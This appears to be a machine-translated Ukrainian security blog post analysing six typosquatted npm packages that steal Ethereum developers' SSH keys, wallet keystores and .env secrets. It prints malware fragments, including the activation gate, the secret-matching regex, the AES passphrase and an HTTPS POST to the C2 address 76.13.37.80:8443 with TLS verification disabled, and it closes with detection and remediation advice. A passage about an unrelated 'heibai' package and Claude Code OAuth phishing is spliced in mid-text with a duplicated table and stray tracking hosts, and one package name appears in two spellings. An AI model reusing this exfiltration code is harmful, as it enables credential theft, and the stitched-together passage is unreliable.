Атака з використанням типосквотингу EVMDeFi npm викрадає ключі розробника

Атака з використанням типосквотингу EVM/DeFi npm викрадає ключі розробника

TL, д-р

6 травня 2026 року один видавець npm, namikazesarada010206, розповсюдив шість шкідливих пакетів, спрямованих на екосистему розробників Ethereum, Solidity та DeFi.

Пакети, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils та web3-utils-core, використовували правдоподібні назви, розроблені так, щоб виглядати як допоміжні бібліотеки для популярних інструментів Web3.

Усі шість пакетів містили однакову telemetry.js файл. Файл був ідентичним за байтами в усьому кластері, з використанням SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Шкідливе програмне забезпечення не запускається під час встановлення. Немає preinstall or postinstall гачок. Натомість він активується, коли пакет імпортується через require().

Ця деталь має значення.

Імплант чекає, поки розробник фактично використає пакет. Потім він перевіряє, чи схожа робоча станція на справжнє середовище розробки Ethereum/Solidity. Він шукає ключі Alchemy або Infura, закриті ключі, мнемоніку, ключі розгортання або локальний каталог Foundry.

Якщо хост збігається, викрадач збирає закриті ключі SSH, сховища ключів гаманців Foundry / Geth / Brownie, .env* файли та конфіденційні змінні середовища. Він шифрує пакет за допомогою AES-256-GCM, використовуючи жорстко закодовану парольну фразу, та виводить його на необроблену кінцеву точку IPv4 C2 з вимкненою перевіркою TLS.

Система раннього попередження про шкідливе програмне забезпечення (MEW) від Xygeni підтвердила всі шість пакетів як шкідливі. Звіт про видалення реєстру npm очікує на розгляд.

Кластер: шість пакетів, один видавець

Обліковий запис видавця namikazesarada010206 було пов’язано з неперевіреною адресою Gmail namikazesarada010206@gmail.com.

Кампанія з'явилася як одноденний випуск публікацій 6 травня 2026 року. Усі шість пакетів були версійно оформлені як 1.0.0, не мав нульових залежностей від середовища виконання та постачав лише три файли:

package.json index.js telemetry.js

Вони також оголосили той самий репозиторій вихідного коду:

https://github.com/harunosakura030303-maker/evmchain-config

Перші три пакети були виявлені сканерами MEW під час першої публікації. Решта три були примусово позначені після перевірки аналітиками профілю npm видавця. Після того, як вони були ідентичними по байтах telemetry.js було підтверджено по всьому кластеру, їх було закрито як шкідливі за узгодженістю.

пакет версія Опубліковано npm Квиток MEW Вердикт
viemi-core 1.0.0 2026-05-06 01:38:44Z # 51049 Зловмисний
viem-utils-core 1.0.0 2026-05-06 # 51050 Зловмисний
hardhat-core-utils 1.0.0 2026-05-06 # 51051 Зловмисний
evm-utils 1.0.0 2026-05-06 # 51069 Зловмисний, за послідовністю
foundry-utils 1.0.0 2026-05-06 # 51071 Зловмисний, за послідовністю
web3-utils-core 1.0.0 2026-05-06 # 51070 Зловмисний, за послідовністю

Стратегія найменування проста, але ефективна.

Ці пакети не імітують точні назви основних розробників. Натомість вони використовують правдоподібні суфікси «утиліт», такі як -core, -utils та -utils-coreЧерез це вони виглядають як супутні бібліотеки, які розробник може очікувати побачити поруч із інструментами Web3.

Шкідливий пакет Законна ціль
viemi-core viem, популярний клієнт TypeScript для Ethereum
viem-utils-core В'єм
hardhat-core-utils hardhat, основне середовище розробки Solidity
evm-utils Загальний простір імен інструментів EVM
foundry-utils ливарне виробництво, набір інструментів Solidity
web3-utils-core web3-utils, помічники Web3.js

Це схема «додаткового пакету»: не «Я — справжній пакет», а «Я виглядаю як розумний помічник навколо справжнього пакету».

Для розробників DeFi, які швидко діють, цього достатньо, щоб створити ризик.

Що відбувається під час імпорту пакета

Ланцюг атак невеликий, навмисний та зосереджений на середовищах крипторозробки.

Немає гачка для встановлення. Натомість кожен пакет містить index.js який експортує функціональність заглушки, а потім завантажує модуль шкідливої ​​телеметрії.

require('./telemetry').init();

Це означає, що шкідливе програмне забезпечення активується під час першого імпорту.

Це корисно з операційної точки зору для зловмисника. Багато сканерів та пісочниць зосереджені на поведінці під час встановлення. Цей пакет чекає, поки його фактично не використає розробник, скрипт збірки, набір тестів або шлях виконання.

Шлюз активації: спрацьовує лише на реальних робочих станціях розробника Web3

Найважливішою частиною імплантату є активаційний ворота.

Шкідливе програмне забезпечення перевіряє змінні середовища, які зазвичай зустрічаються на машинах розробників Ethereum / Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Також перевіряється, чи встановлено Foundry:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Якщо жодна з умов не є істинною, функція повертає значення і нічого не робить.

Це робить пакет тихішим у типових середовищах аналізу. Пісочниця без Foundry, ключів Alchemy, ключів Infura, закритих ключів або мнемоніки може мати нешкідливий вигляд.

На відповідному хості шкідливе програмне забезпечення чекає від 60 до 90 секунд перед збиранням даних:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Затримка зменшує очевидну кореляцію між імпортом та вивезенням. .unref() виклик також дозволяє хост-процесу завершити роботу нормально, якщо пакет був імпортований у короткочасному скрипті.

Це не галаслива поведінка типу «зламай та захопи». Це цілеспрямований викрадач, розроблений для уникнення запуску, якщо середовище розробника не варте крадіжки.

Що збирає злодій

Після проходження етапу активації шкідливе програмне забезпечення починає збирати дані з джерел, які мають найбільше значення для розробки Web3: закритих ключів, сховищ ключів гаманців, облікових даних для розгортання, хмарних секретів, токенів npm та локальної конфігурації проекту.

Source Що збирається
process.env Будь-яка змінна, що відповідає /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Файли, що містять PRIVATE KEY або BEGIN OPENSSH, включаючи повний вміст файлу
~/.foundry/keystore/* Файли сховища ключів гаманця Foundry
~/.ethereum/сховище ключів/* Файли сховища ключів гаманця Geth
~/.brownie/accounts/* Файли сховища ключів гаманця Brownie
${cwd}/.env Повний вміст файлу
${cwd}/.env.local Повний вміст файлу
${cwd}/.env.production Повний вміст файлу
${cwd}/.env.розробка Повний вміст файлу
ім'я_хоста_os.() Метадані хоста
crypto.randomUUID() Ідентифікатор жертви/сеансу
Date.now() Мітка часу збору
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

Токени ATTA:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Нам не вдалося підтвердити, чи була телеметрія власною аналітикою оператора, чи окремо монетизованим каналом. Токени ATTA однакові в обох досліджуваних нами зразках.

Кластер B: heibai

claude.hk Фішинг OAuth + Викрадення ANTHROPIC_BASE_URL

Зразок від 1 квітня — це більш груба, рання частина кампанії.

heibai:2.1.88-claude.hk-4 була опублікована wuguoqiangvip28, обліковий запис, створений 7 червня 2025 року. Пакет явно версіонував себе проти законної 2.1.88 Антропний реліз.

Він не турбується про CA-cert MITM. Натомість він бреше користувачеві про кінцеву точку OAuth.

Шкідливі доповнення до витоку вихідного коду Claude Code включають:

Source Що збирається
process.env Будь-яка змінна, що відповідає /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Файли, що містять PRIVATE KEY або BEGIN OPENSSH, включаючи повний вміст файлу
~/.foundry/keystore/* Файли сховища ключів гаманця Foundry
~/.ethereum/сховище ключів/* Файли сховища ключів гаманця Geth
~/.brownie/accounts/* Файли сховища ключів гаманця Brownie
${cwd}/.env Повний вміст файлу
${cwd}/.env.local Повний вміст файлу
${cwd}/.env.production Повний вміст файлу
${cwd}/.env.розробка Повний вміст файлу
ім'я_хоста_os.() Метадані хоста
crypto.randomUUID() Ідентифікатор жертви/сеансу
Date.now() Мітка часу збору

Список цілей є дуже специфічним. Це не звичайна крадіжка браузера чи загальне вилучення облікових даних. Він спрямований на розробників, які створюють, тестують, розгортають або керують додатками Ethereum.

Включення сховищ ключів Foundry, Geth та Brownie є особливо важливим. Ці файли можуть надавати прямий доступ до гаманців або ідентифікаторів розгортання. Якщо зловмисник зможе поєднати їх із паролями, мнемонікою або секретами середовища, він зможе переміщувати кошти, видавати себе за розгортачів або скомпрометувати операції смарт-контрактів.

Шифрування перед вилученням

Шкідливе програмне забезпечення шифрує зібрані дані перед їх надсиланням.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Жорстко закодований пароль:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Остаточне корисне навантаження обгорнуто як JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Шифрування саме по собі не робить шкідливе програмне забезпечення більш просунутим. Однак воно ускладнює перевірку мережі. Захисник, який спостерігає за виходом, побачить корисне навантаження JSON, але не викрадені ключі, файли гаманця чи .env вміст без жорстко закодованого пароля та логіки розшифрування.

Ексфільтрація до необробленого IPv4 C2

Шлях вилучення жорстко закодований:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Шкідливе програмне забезпечення надсилає дані до:

https://76.13.37.80:8443/api/v1/telemetry

Дві деталі виділяються.

По-перше, C2 — це необроблена IPv4-адреса, а не домен. Це усуває необхідність реєстрації домену та дозволяє уникнути деяких виявлень на основі домену.

По-друге, перевірка TLS вимикається за допомогою:

rejectUnauthorized: false

Це дозволяє шкідливому програмному забезпеченню приймати будь-які сертифікати, включаючи самопідписані сертифікати. Іншими словами, зловмисник отримує зашифрований транспорт без потреби в дійсному публічному сертифікаті.

Немає логіки повторних спроб і резервного хоста. Помилки непомітно проковтуються. Це забезпечує беззвучність пакета, якщо C2 не в мережі або недоступний.

Чому ця кампанія важлива

Більшість шкідливих npm-пакетів, спрямованих на розробників, переслідують широкі облікові дані: npm-токени, ключі AWS, токени GitHub або .npmrc файли.

Ця кампанія звужує цільову аудиторію.

Він шукає ознаки того, що машина належить розробнику Ethereum або Solidity. Потім він витягує саме ті ресурси, які мають значення в цьому середовищі: сховища ключів гаманця, закриті ключі, мнемоніку, ключі розгортання, .env файли та SSH-ключі.

Це робить кампанію небезпечнішою для Web3-команд, ніж звичайний npm-стелер.

Успішне зараження може призвести до:

  • Гаманці для розгортання
  • Ключі адміністратора смарт-контракту
  • Ключі постачальника RPC
  • Облікові дані для розгортання в хмарі
  • токени публікації npm
  • SSH-доступ до інфраструктури розробника або збірки
  • Секрети проекту зберігаються в .env файли
  • Сховища ключів гаманця для Foundry, Geth або Brownie

Назви пакетів також свідчать про явну соціальну інженерію. Вони націлені на екосистему розробників Web3 через знайомі назви інструментів: viem, hardhat, foundry, evm та web3.

Актору не потрібно компрометувати реальні проекти. Йому потрібен лише розробник, який встановить те, що виглядає як розумний супутній пакет.

Індикатори компрометації та виявлення

Пакети та видавець
Поле значення
видавець npm наміказесарада010206
Електронна адреса видавця namikazesarada010206@gmail.com
Email verified Немає
SCM перевірено Немає
Рейтинг репутації 1.0
Пакети viem-core, viem-utils-core, hardhat-core-utils, evm-utils, Foundry-utils, web3-utils-core
версії Всі 1.0.0
Репозиторій вихідного коду https://github.com/harunosakura030303-maker/evmchain-config
Підтверджено шкідливе Усі шість пакетів
Мережа
тип значення
Кінцева точка C2 https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
Порт C2 8443/tcp
Поведінка TLS rejectUnauthorized: false
Схема корисного навантаження {"v":2,"iv": ,"д": ,"т": }
Файли та хеші
тип значення
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Макет упаковки package.json, index.js, telemetry.js
Кількість файлів 3
Приблизний загальний розмір 3.4 KB

Сигнали активації

Шкідливе програмне забезпечення перевіряє такі змінні середовища:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Також перевіряється:

~/.foundry/

Цільові шляхи хоста

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Колекція регулярних виразів

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Примітки щодо виявлення

Кілька правил охоплюють цю кампанію без потреби повного поведінкового аналізу.

Спочатку проскануйте файли блокування на наявність шести назв шкідливих пакетів:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Будь-який матч у package-lock.json, yarn.lock, pnpm-lock.yamlабо node_modules До історії слід ставитися як до серйозної події.

По-друге, слідкуйте за процесами Node.js, які зчитують шляхи сховища ключів гаманця:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Така поведінка рідко є законною для пакета, імпортованого як допоміжна залежність. Вона особливо підозріла, коли після неї відбувається вихідна мережева активність.

По-третє, блокуйте або сповіщайте про HTTPS-з’єднання, щоб:

76.13.37.80:8443

Особливо, коли шлях запиту такий:

/api/v1/telemetry

По-четверте, знайдіть npm-пакети, які поєднують ці характеристики:

  • Новий або низькорепутаційний видавець
  • Непідтверджений обліковий запис Gmail
  • Назва пакета, суміжного з Web3
  • Немає змістовної історії репозиторію
  • Компонування крихітної упаковки
  • index.js що завантажує телеметричний або допоміжний файл
  • Немає залежностей від середовища виконання
  • Чутлива колекція змінних середовища
  • Доступ до сховища ключів гаманця

Цей шаблон корисніший, ніж один IOC, оскільки наступний пакет може змінити IP-адресу, але зберегти ту саму логіку таргетування.

Контрольний список реагування на компроміс

Якщо розробник використовував один із шести пакетів, і його середовище відповідало шлюзу активації, робочу станцію слід вважати скомпрометованою.

Це включає машини з встановленим Foundry, ключами Alchemy або Infura в середовищі, закритими ключами, мнемонікою або ключами розгортання.

Рекомендована відповідь:

  • Відключіть хост від мережі.
  • Заповідник node_modules, файли блокування, історія оболонки та відповідні журнали для експертизи.
  • Змінюйте кожну пару ключів SSH під ~/.ssh/.
  • Змінюйте ключі гаманця для кожного сховища ключів у розділі ~/.foundry, ~/.ethereum та ~/.brownie.
  • Переведіть кошти на нові гаманці.
  • Поверніть кожен секрет, що зберігається в .env* файли в репозиторіях, з якими працював розробник.
  • Змінювати секрети середовища відповідно до регулярного виразу колекції, включаючи ключі AWS, токени npm, токени розгортання, ключі API, приватні ключі, початкові значення та мнемоніку.
  • Аудит активності хмари, npm, GitHub, постачальника RPC та блокчейну з моменту першої інсталяції пакета.
  • Перед повторним використанням перестворіть образ робочої станції.

Що захисники повинні взяти з собою

Ця кампанія показує, як типосквотинг npm розвивається навколо екосистем розробників високої цінності.

Актору не потрібна була персистентність. Їм не потрібне було обфускація. Їм навіть не потрібне було виконання під час встановлення.

Натомість вони покладалися на три речі:

  • Правдоподібні назви пакетів Web3
  • Активація лише на реальних машинах для крипторозробки
  • Пряма крадіжка файлів і секретів, які є найважливішими для розробників Ethereum

Через це кампанію легко пропустити під час широкого сканування та зробити її небезпечною, коли вона потрапляє в потрібне середовище.

Для Web3-команд урок очевидний: розглядайте імена залежностей як частину вашої моделі загроз. Пакет, який виглядає як нешкідливий помічник, все одно може стати найкоротшим шляхом до компрометації гаманця.

Повідомлено до реєстру npm. Ми оновимо цю публікацію, коли обліковий запис видавця та пакети будуть видалені.

інструменти-для-аналізу-складу-програмного-засобу-sca
Визначте пріоритети, усуньте та захистіть ризики, пов'язані з програмним забезпеченням
Отримайте свій безкоштовний обліковий запис.
Не потрібна кредитна картка.

Забезпечте розробку та доставку програмного забезпечення

з пакетом продуктів Xygeni